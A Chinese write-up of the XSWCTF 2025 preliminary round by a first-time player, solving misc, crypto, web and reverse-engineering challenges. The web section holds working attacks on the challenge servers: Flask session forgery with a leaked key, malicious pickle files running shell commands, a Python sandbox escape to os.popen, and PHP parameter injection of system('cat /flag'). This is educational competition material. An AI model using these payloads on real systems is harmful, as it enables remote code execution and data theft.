XSWCTF 2025初赛 WRITEUP
这算是我第一次正式接触CTF,甚至还是被动接触(悲)
结果也只能说差强人意(毕竟是第一次,也不能奢望太多),总排31,校排9(虽然我真的很怀疑学校里根本就没几个参加的)
接下来就是Writeup了,也是所谓“记录生活”
一、MISC
01 交响曲
观察puzzle.txt,全部是0和1组成,想到摩斯电码,将0替换为.,1替换为-

然后将其转换为文本,观察发现文本开头为504B0304,为zip开头。

在Hex to file (binary) converter转换为zip,或使用winhex

解压得到secret.txt,再次得到一大堆1和0(果真是01交响曲

这次的01间没有空格,所以不能如法炮制。不小心ctrl + -了几下,发现好像出现了神奇的东西(真的不小心吗

哇,怎么有点二维码的感觉,但是发现并不是一个可开方的数,所以寻找别的方法。
二进制一堆01什么也看不出来,不如转换到16进制看一看


噔噔噔,又是你50 4B 03 04,再次转zip,从而提取出了flag.txt,我们发现这回的文件有122500个字符,是350的平方,于是使用脚本转化成二维码。
from PIL import Image
from zlib import *
MAX = 350 # 数字的长度为一个整数的平方(如36^2=1296)
pic = Image.new("RGB",(MAX,MAX))
str =""
i=0
for x in range(0,MAX):
for y in range(0,MAX):
if(str[i] == '1'):
pic.putpixel([x,y],(0,0,0))
else:pic.putpixel([x,y],(255,255,255))
i = i+1
pic.show()
pic.save("flag.png")

接下来就是补全二维码(如果扫不出来记得反相!!!),然后扫描,得到flag了。

XSWCTF{0c97b383-4f9a-45bc-8da1-87c8f4f6310f}
认识一下SCNU吧
这次比赛里做过最头疼,真的最头疼的一道题,真是考点套套又娃娃啊。(也是见识了一堆奇怪工具

拿到图片,打开看尺寸大小什么的都正常,所以直接一个winhex起手。
文件头是png没有问题,翻到底下发现鸡脚了,果然里面藏文件了。


于是打开kali,binwalk起手,发现确实藏了zip

foremost,把他提取出来。


打开zip,发现这是一个加密压缩包,于是尝试了几组常见组合以及华师相关组合,都没能解开,放弃。

又想到暴力破解,算到第5位还没试开,放弃(
然后我就把这题放弃了……去做别的题了
结果那个晚上刚好别的题写了很久没写出来,所以又爬回来写这个题了((
翻了好久博客,发现图像题的另一种常见考法我还没试过——LSB隐写
下载StegSolve,然后点了很久,出现了二维码(真能藏啊

扫描二维码,出现了plaintext:W0W_Y0U_f0UND_th3_PL4iNt3Xt
本来以为这就是解压密码了,可以万事大吉,结果带进去一试,还是不行。
然后我再次放弃了这个题……几分钟(几分钟后气不过,又回来写了
(好吧其实是看有那么多人写出来了有点不服气
继续搜索搜索,又发现了一个奇怪的关于压缩包的考点——假加密
(写这段的时候把水杯扣键盘上了,霉完了)

按假加密的方法改完发现解压出来的东西完全不正常(
好吧被骗了,这根本不是假加密(好像根本没人骗我其实
琢磨了半天,发现了真正的考点——已知明文攻击
二维码扫出的plaintext:W0W_Y0U_f0UND_th3_PL4iNt3Xt其实是plaintext这个文件的值。
于是新建plaintext,写入W0W_Y0U_f0UND_th3_PL4iNt3Xt,压缩成zip,一看,整挺好,CRC一模一样

然后用Advanced Archive Password Recovery进行明文攻击(这里还有坑,无敌了

提示说没有匹配的文件,欸我想着这怕不是这软件什么年久失修的bug吧,就让继续破着,扫了十分钟,弹出来个没匹配出来……
妈妈生的,又继续查博客,发现好像是bandizip的锅。
于是打开了假加密环节下载的360zip压缩,这下倒是一帆风顺的得到了加密密钥

16dfa261 e63d4d2d 236c4c2c
用这个密钥直接对foremost提取出的文件进行解密。

啊,终于看到了好消息,压缩包被解密出来了。

解压,打开flag.txt,得到flag,下班睡觉!


XSWCTF{SCNU_1S_7H3_OnLy_211_1N_Gd}
问卷
十分钟速通?(逃
二、Crypto
BruteForce
容器题目先连容器喵


得到一串奇怪东西留一旁备用。
接着回去看代码,一眼望去一堆AES,直接开爆(爆的其实是人

好吧,读完代码发现算法其实比较简单,就是用生成的俩一大一小的素数取模的值->字符串->字节作为AES的密钥。
所以一步一步倒推回去就好啦(好吧,因为数字不算很大,所以直接暴力试就好了,刚好对应上题目的BruteForce
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import sys
ciphertext = b'\xb0\xb2%$\x837%a!^\x9b\x16\x91\xa6\x86\x1eZ\x1cg\xfd0T*\x88\xca!\x18d\xd98\xad\t\xc5\xe2\x97\xf2\xc1$\x99n\x80]\xdb\xdc\xea\xedoa'
max_key_int = 2**25
found = False
for k_int in range(max_key_int):
try:
key_bytes = str(k_int).encode('utf-8')
aes_key = pad(key_bytes, 16)
cipher = AES.new(aes_key, AES.MODE_ECB)
decrypted_data = cipher.decrypt(ciphertext)
unpadded_data = unpad(decrypted_data, 16)
try:
decoded_str = unpadded_data.decode('utf-8')
if '{' in decoded_str and '}' in decoded_str:
print(f"{decoded_str}")
found = True
break
except UnicodeDecodeError:
pass
except ValueError:
continue
except Exception as e:
pass
写完脚本,经过几分钟的暴力计算,得到flag。

XSWCTF{ju57_8RuTe_FoRcE_foRCE33E}
Lagrange
这应该是密码学里最简单的一题了(?
还是先连容器拿值

接下来看代码

取了5个多项式系数,然后构造了一个多项式,结合题目发现这是一道拉格朗日插值法的题。
于是考虑逆向求解,于是构造了一个五阶非齐次线性方程组
$$\begin{cases} c_0 \cdot x_0^0 + c_1 \cdot x_0^1 + c_2 \cdot x_0^2 + c_3 \cdot x_0^3 + c_4 \cdot x_0^4 \equiv y_0 \pmod{p} \\ c_0 \cdot x_1^0 + c_1 \cdot x_1^1 + c_2 \cdot x_1^2 + c_3 \cdot x_1^3 + c_4 \cdot x_1^4 \equiv y_1 \pmod{p} \\ c_0 \cdot x_2^0 + c_1 \cdot x_2^1 + c_2 \cdot x_2^2 + c_3 \cdot x_2^3 + c_4 \cdot x_2^4 \equiv y_2 \pmod{p} \\ c_0 \cdot x_3^0 + c_1 \cdot x_3^1 + c_2 \cdot x_3^2 + c_3 \cdot x_3^3 + c_4 \cdot x_3^4 \equiv y_3 \pmod{p} \\ c_0 \cdot x_4^0 + c_1 \cdot x_4^1 + c_2 \cdot x_4^2 + c_3 \cdot x_4^3 + c_4 \cdot x_4^4 \equiv y_4 \pmod{p} \end{cases}$$
这下简单了,直接写个小脚本丢给mathematica就好了,三句话结束
p = 243407676091977708612440099520886571741;
xs = {113177008219536222176698202215323058183,
83533617142628155729602889662824582310,
184827870237463229182398178477751213859,
45081038376849723199385877867366782829,
237158050752303262371055738636614887551};
cs = {106481369258653885521479820611288110683,
56585391984112768505754473444957310552,
209335935415308926976589590664479359130,
100523077025482474233186795667601162633,
213519282616578003572797603362022793705};
A = Table[PowerMod[xs[[i]], j, p], {i, 1, 5}, {j, 0, 4}];
coeffs = LinearSolve[A, cs, Modulus -> p]
FromCharacterCode[Join @@ IntegerDigits[coeffs, 256]]
XSWCTF{now_YoU_KnOW_WhaT_IS_IAgr4N63_InT3RPIAte!!}
Loss N-3
这次题目详情直接给了初识 RSA 的小欧拉
又是一道RSA(
依旧先连容器拿值

接下来看代码,发现函数很简单(?

于是直接逆向求解就好了
e = 65537
p = 10941274435182919105869300460627699584210850419963182313935546108483645555403824070585890468263644352616591178074707730632620161733201538736650886795747041
c = 953129182146903943348752334597145577038722063930736585644782279235556730413899711820568752207275839580655103197250587348712057848821240962398311096971349426765136790020495338939167395620480033082517149707834044310090216384677059675805935138053225606713644488965556615515801029384817175431791905939421784763543600872572873845233524465297039791083926438182541391889030027557641505330487364321580844375211002494159129695874910487732415269745597584091249449866407766
N = pow(p, 3)
phi_N = pow(p, 2) * (p - 1)
d = pow(e, -1, phi_N)
m_long = pow(c, d, N)
byte_length = (m_long.bit_length() + 7) // 8
flag_bytes = m_long.to_bytes(byte_length, 'big')
flag = flag_bytes.decode('utf-8')
print(f"{flag}")得到flag走人

XSWCTF{7HE_1Ir5t_5tEp_t0_KNOckin9_ON_tHe_DoOr_0f_RsA}
三、Pwn
Pwn不会喵
四、Web
File System
这是写的第一道web题,也是感觉最费劲的一集(虽然好像并不咋难
打开网页发现名字叫文件管理系统 v1.0,下方有用户id和权限级别,

点成为vip发现没啥卵用,我的文件发现是文件预览
格式是preview_file?file=uploads/guest/hello.jpg,于是针对这个进行尝试直接访问上一级
preview_file?file=../,发现做了安全限制

于是继续考虑payload绕过限制,先f12拿cookie

发现形式类似flask的cookie,于是猜常用文件名,直到猜到app.py猜中/preview_file?file=app.py
输出了base64格式的后端代码。(话说真的有不靠猜的方法吗
(写一半回来写的,想起来hackbar的test应该也可以

转码为字符串,有

得到了SECRET KEY和网页可以上传的消息,并且发现了可以浏览.pickle文件,印证了前面payload的想法。
所以解题思路就是先用secret key伪造vip身份的session,在生成.pickle后缀的payload文件获取flag。
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
app = Flask(__name__)
app.secret_key = 'aF1xedS3cr3tK3yR3pl4c3InPr0d'
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
payload = {
'user_id': 'guest',
'role': 'vip'
}
cookie = s.dumps(payload)
print(cookie)
使用脚本生成伪造的session,并获得vip权限,出现了上传文件的窗口


接下来就是生成pickel了,经过多次尝试,最后发现只有eval可以正常运行(真的,人快试亖了
然后就是老套路,先find,在cat,得到flag走人。
import pickle
class find:
def __reduce__(self):
# 直接输出flag内容
code = "__import__('os').popen('find / -name \"*flag*\" ').read()"
return (eval, (code,))
with open('find.pickle', 'wb') as f:
f.write(pickle.dumps(find()))
import pickle
class cat:
def __reduce__(self):
# 直接输出flag内容
code = "__import__('os').popen('cat /flag').read()"
return (eval, (code,))
with open('cat.pickle', 'wb') as f:
f.write(pickle.dumps(cat()))

(发现每次flag都在很显眼的地方

XSWCTF{e816ea00-aa32-434a-9ede-2facdbb2bf0a}
easy_ssti
题目给出了提示让进行ssti,打开网页f12进cookie发现依旧session

尝试直接暴力拼接cookie的payload,获取目录,发现竟然能行(题如题名?


尝试查看app.py,依旧payload。

得到
Hello from flask import Flask, request, make_response, render_template_string import jwt app = Flask(__name__) SECRET_KEY = "AYQABiABDIHCAcQABiABDIHCAgQABiABDIGCAkQLhhA0gEIMjY5M2owajGoAgiwAg" @app.route('/') def main(): session_cookie = request.cookies.get('session') if not session_cookie: payload = {"role": "user"} token = jwt.encode(payload, SECRET_KEY, algorithm="HS256") template = '<h1>Hello {{ role }}!</h1>' response = make_response(render_template_string(template, role=payload['role'])) response.set_cookie('session', token, httponly=True) return response else: try: payload = jwt.decode(session_cookie, SECRET_KEY, algorithms=["HS256"], options={"verify_signature": False}) role = payload.get('role', 'unknown') template = '<h1>Hello %s!</h1>' % role return render_template_string(template, role=role) except jwt.InvalidTokenError as e: template = '<h1>Invalid session!</h1><p>Error: {{ error }}</p>' return render_template_string(template, error=str(e)), 401 if __name__ == "__main__": app.run()!使用SECRET_KEY重新生成payload查看运行目录。


发现上一层为ctf,查看上一层的目录,找到了flag文件!




得到flag,XSWCTF{ss71_iN_Jwt_dbe135be3d3e}
pychecker
看到题目的名字就大概知道了这个题目的做法,checker你输入的代码,自然就是继续payload沙盒逃逸了。
具体做法就要观察代码了。

第一眼就被exec吸引住了,这个题大概就和这个exec有关了。(玩过博客的都知道,在php里,exec也是一个非常危险的函数,默认是被禁用的。
ns = {'__builtins__': {}}向上看发现空字典,也即函数体内的语句不会被执行。
Gemini老师的话我觉得很棒:只执行函数的 定义,但从不 调用 这个函数
所以我们应该将payload放在函数中而不是函数体内,也即下面的函数
# exec() 会执行 ...payload... 部分
def miaomiaomiao( a = (...payload...) ):
pass接下来的问题就转向了绕过这个沙盒,直接RCE了。(话说RCE这词好帅
由于__builtins__带着一堆危险的函数被ban掉了,所以我们只能去选择其他“安全”的函数绕过
也即寻找可以访问未受限 __builtins__ 的类,从简单的‘’起向上找到object类,又从代码中失败的error.html联想向下找到warnings.catch_warnings类,然后就可以用其__init__.__globals__ 属性访问不受限的__builtins__了。
所以接下来就是触发错误,然后让函数执行,从而获取到flag。
所以我们考虑获取一个int函数并将下面获取到的字符串转化成整数,从而引发错误,进而利用python解释器的特性,将获取的信息传回。
然后查找flag的位置并且cat得到走人。
def miaomiaomiao(
a=(
[c for c in ''.__class__.__mro__[1].__subclasses__() if 'catch_warnings' in c.__name__][0].__init__.__globals__['__builtins__']['int'](
[c for c in ''.__class__.__mro__[1].__subclasses__() if 'catch_warnings' in c.__name__][0].__init__.__globals__['__builtins__']['__import__']('os').popen('find / -name flag').read()
)
)
):
pass
def miaomiaomiao(
a=(
[c for c in ''.__class__.__mro__[1].__subclasses__() if 'catch_warnings' in c.__name__][0].__init__.__globals__['__builtins__']['int'](
[c for c in ''.__class__.__mro__[1].__subclasses__() if 'catch_warnings' in c.__name__][0].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /home/ctf/flag').read()
)
)
):
pass
XSWCTF{fbe65099-93d0-4367-af59-1b56bb614d4b}
pphphp
一开始看到的时候试了很久都没试出来个123就直接弃了(
结果快结束的时候冲一下第一页又开始看这个题,发现其实典完了
核心思路就是“PHP”,提到php,就会想到“phpinfo”非常危险(众所周知?
又看到缺少key和value的值,所以考虑直接看能不能payload到phpinfo
index.php?key=pcre.backtrack_limit&value=0&test=phpinfo();
发现可以进phpinfo,那么万事大吉了(phpinfo都能进了什么还不能进

直接ls一下根目录,发现flag刚好就在根目录,cat得到flag走人(真的有这么轻松吗
index.php?key=pcre.backtrack_limit&value=0&test=system("ls%20/");
index.php?key=pcre.backtrack_limit&value=0&test=system("cat /flag");


XSWCTF{ea1dee9e-a3c4-4619-81bc-d3fe7e467f5f}
五、Reverse
CO+2FE=
解压一看是class文件,直接反编译起手


发现直接有加密过的flag,脚本就在上面,直接写个脚本解密就好(其实是凯撒加密
mis_flag = "YTXDUG{4_tjnq13_xbz_0g_3od0ejoh}"
def de(ciphertext):
plaintext = ""
for char in ciphertext:
if 'a' <= char <= 'z':
new_ord = ((ord(char) - ord('a') - 1 + 26) % 26) + ord('a')
plaintext += chr(new_ord)
elif 'A' <= char <= 'Z':
new_ord = ((ord(char) - ord('A') - 1 + 26) % 26) + ord('A')
plaintext += chr(new_ord)
else:
plaintext += char
return plaintext
flag = de(mis_flag)
print(f"{flag}")拿到flag走人

XSWCTF{4_simp13_way_0f_3nc0ding}
DEBIG
解压发现是个exe,于是起手塞给DIE查个壳

发现没有壳,然后直接扔给IDA,进strings里找flag相关字样

点进去找到交叉引用直接f5看伪代码
找到了flag的判断代码,发现是一个XOR 加密

接下来就是找byte_404020和v5了
在IDA的hex里找到了32字节的404020

再在IDA里找到sub_401B1C的地址

然后在x64dbg里寻找v5
在for那行下个断点,然后f9继续跑,随便输32个字


找到rbp-A0后的地址

好了,得到了v5的key之后,写个脚本解密就能得到flag走人了
target = [
0x31, 0x3A, 0x93, 0x87, 0xB4, 0xA6, 0xA3, 0xAA,
0x59, 0x1C, 0x24, 0x1F, 0x61, 0x66, 0x45, 0x57,
0x87, 0xBB, 0xA5, 0xFE, 0xD4, 0xDC, 0xB4, 0xE2,
0x1C, 0x43, 0xEB, 0x86, 0xF5, 0xF7, 0x6F, 0x27
]
key = [
0x69, 0xC4, 0xE0, 0xD8, 0x6A, 0x7B, 0x04, 0x30,
0xD8, 0xCD, 0xB7, 0x80, 0x70, 0xB4, 0xC5, 0x5A
]
flag = ""
for i in range(32):
flag_char = target[i] ^ key[i // 2]
flag += chr(flag_char)
print(f"{flag}")
XSWCTF{r3v_debug_ch3ck4bl3_2025}
abcd
解压得到a.bc文件,.bc是llvm中间文件的后缀
用llvm-dis ./a.bc反编译得到a.ll文件,查看反汇编代码
或者clang编译成二进制文件,丢进IDA,这里用第二种

还是找flag,f5看伪代码
发现还是XOR,继续找找找
找到ciphertext,接下来是table


(其实写题的时候用的方法一,更快一点

然后写个脚本解密,拿到flag走人
def parse_llvm_string(s):
b = bytearray()
i = 0
while i < len(s):
if s[i] == '\\':
if i + 2 < len(s) and all(c in "0123456789abcdefABCDEF" for c in s[i+1:i+3]):
hex_val = s[i+1:i+3]
b.append(int(hex_val, 16))
i += 3
elif i + 1 < len(s) and s[i+1] == '\\':
b.append(ord('\\'))
i += 2
else:
i += 1
else:
b.append(ord(s[i]))
i += 1
return list(b)
ciphertext = r"\\\80\F3\08\14T\EA\0DgExw\C4\8E\1D\1B7I#L\B5\B2\81\8B\92i\83Y\CB\91<\9B\B9\1F"
table = r"\0C\E2\03\08\9E\14\8F+\EAO&\06\DE\A6\EF^\BD\DD\F4\A2?\CDbt\D8%\FE\8A\938\F7\7F\16\C5PLT`n\10\B7\F2\AB[s\B2\E8\A4|r]f\E7\FF\86\DA\CC\87\C6\1BG(\C0\ED*\C7}\1F\FB\E5Sd\09\B9QI'\80\E9>X\B5\D1\A0q\\\9C\EC\F1\D5\AD\E6\C99\9F.#\B6\D3\82\FD\A31y\B4<\F5\D6W;\99_\0FA\89\0E\FA7J\D4\F3\90a~4\A1\B0\9B\D9\11j\D2x\94\F8i\C8: \DC\1E\B1\CE\CAC\EB\9D\15\92\E3\04w3H\A5\91\C1\8D\CF\AC\96\BC\83\1A\1D\C2{\02u\12Z\F0\0A\DB\B8N\C4\BABo=v\CBk2\AF@\FCYR\85\DF\07K\B36\E0\1Cc\8C)\9Am\C3pl\F6E\0D\135\97\8B\D0VF\0B\8ED\BEhM!\BB\81$0/\A9\BF\9S\A8-\01\88\F9z\D7\AA\A7\E1\05\19e\22U\18\98\AE\17\84\00\E4g\EE"
ciphertext = parse_llvm_string(ciphertext)
table = parse_llvm_string(table)
reverse_table = { value: index for index, value in enumerate(table) }
flag = ""
for j in range(34):
target_char = ciphertext[j]
index_val = reverse_table[target_char]
key_byte = (17 * j + 13) & 0xFF
flag_char_code = index_val ^ key_byte
flag += chr(flag_char_code)
print(f"{flag}")
XSWCTF{Tki3_i3_7he_s0_c@11ed_abcd}
andxroid
看到apk直接扔jadx反编译起手

打开程序看一眼,直接在jadx搜索文字,直接能搜到,美滋滋

一眼看到checkflag函数,直接ctrl+f上下寻找

找到函数,和base64文本

直接丢进base64解码,发现是乱码,发现使用了自定义的翻译表

继续往上翻,找到了翻译表的对照表

写个脚本解密,得到flag走人
import base64
standard = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
custom = "QWErtyuiopASDFGHJKLZXCVBNM1234567890qwertYUIOPasdfghjklzxcvbnm+/"
target = "VyFBJkKu5zoh40Fg3hF6NVcq30WYMyng2hok6J=="
reverse = {c: s for c, s in zip(custom, standard)}
std_b64 = "".join(reverse.get(c, c) for c in target) # '=' 自动保留
flag = base64.b64decode(std_b64).decode()
print(f"{flag}")

XSWCTF{r3v3rs3_andr0id_2o25}
ez_flower
又是exe,直接先走一个DIE

发现没有壳,丢进IDA看字符串

发现直接是一个用标准表的Base64,直接转换,得到flag走人

XSWCTF{n0w_y0u_kn0w_fl0w3r_c0d3}
ezxor
还是exe,一样先DIE查壳

没壳丢IDA,进strings找flag字样进伪代码

发现依旧XOR

写个脚本解密,拿到flag走人
import struct
a = [
572858400, 168312378, 438770769, 223952385, 1577528605,
353446922, 437266265, 373907200, 190645788
]
FINAL_BYTE = 14
KEY = b"xsran"
KEY_LEN = len(KEY)
enc = list(struct.pack('<9I', *a))
enc.append(FINAL_BYTE)
FLAG_LEN = len(enc)
flag = ""
for i in range(FLAG_LEN):
key = KEY[i % KEY_LEN]
target = enc[i]
flag_char = target ^ key
flag += chr(flag_char)
print(f"{flag}")
XSWCTF{x0r_is_7un_f0r_ct7_cha11eng3s}
不知道起什么名字了QAQ
依旧exe,依旧DIE(好像这个都没什么必要DIE,看图标就知道pyinstaller了

用pyinstxtractor.py解包

解包的文件中有主文件命名的.pyc,直接用uncompyle6反编译

打开代码发现了用户名和注册码的生成逻辑

直接写脚本生成注册码,然后裹上XSWCTF{}就得到了flag
import hashlib
import base64
USERNAME = "XSWCTF"
rev = USERNAME[::-1]
xor_bytes = bytearray()
for char in rev:
xor_bytes.append(ord(char) ^ 7)
base64_result = base64.b64encode(xor_bytes).decode('utf-8')
md5_hash = hashlib.md5()
md5_hash.update(base64_result.encode('utf-8'))
flag = md5_hash.hexdigest()
print(f"{flag}")
XSWCTF{a6ad8691fc6b06eee41bd7a8bb60c82e}
脚本小子tk
依旧exe,依旧DIE,不过这次的DIE终于起作用了(雾

套了UPX的壳,直接去52找个脱壳工具脱壳(我用的UPX Unpacker

把拖完壳的程序丢进IDA,看strings,flag直接出现了,好耶!

XSWCTF{7his_1s_7h3_k3y_2_UPX}
蛇口夺食
解压出来只有一个孤零零的snake,没有后缀,所以要我们猜这是什么文件
直接用编辑器打开是一串奇妙字符,看不出什么东西出来

拖进IDA也没有给出什么有用的信息,直到点开了hex


有一个C1.py,这下露出鸡脚了,这应该是一个.pyc文件
把后缀改成.pyc,用uncompyle6反编译得到了原来的代码


是一个简单的base64,直接解密,得到flag,结束!

XSWCTF{S0_wh4t_1s_pyc?_tellme_tellme~}
JN(没做出来
运行程序,看到标题,在jadx找到对应代码。向上翻找到flag和flagChecker的字样。

然后找到MainActivity,查找flag字样,找到了相关验证。

然后进IDA查到了这些,但是恕我头晕眼花,放弃(

Virus(也没做出来
拖进IDA,打开strings发现有flag.txt,探寻是否藏文件(好像并没有

发现有长度检测,并且给出了“40”的限制,遂构造一个40个字的flag,然后运行程序(发现没什么鸟用

程序像病毒一样弹出了一推弹窗,考虑绕过

在x64dbg中打开,并定位至生成该弹窗的位置sub_401C25处,将反汇编指令改为XOR EAX, EAX和RET,后运行,只有主窗口弹出。

发现还是卵用没有(放弃
回到IDA,在Wrong flag length: %zu (expected 40)附近寻找,发现了和判断flag有关的函数sub_4018EB,sub_401550,unk_405020
算了,先放弃,不然没时间写writeup了(悲
好吧其实写的第一个writeup就是这个题,结果没写出来(其实是周六晚上知道要写writeup怕写不完,就放弃做新题(实际上也仅有这一个晚上没继续做题)开始写writeup,结果开门黑,第一题就没写出来(大悲
六、AI
AI不会喵
七、OSINT
盒了半天什么都没盒出来
但是总感觉很眼熟的样子,大概是贺兰山的哪?
本文由 lbyxiaolizi 原创
采用 CC BY-NC-SA 4.0 协议进行许可
0 评论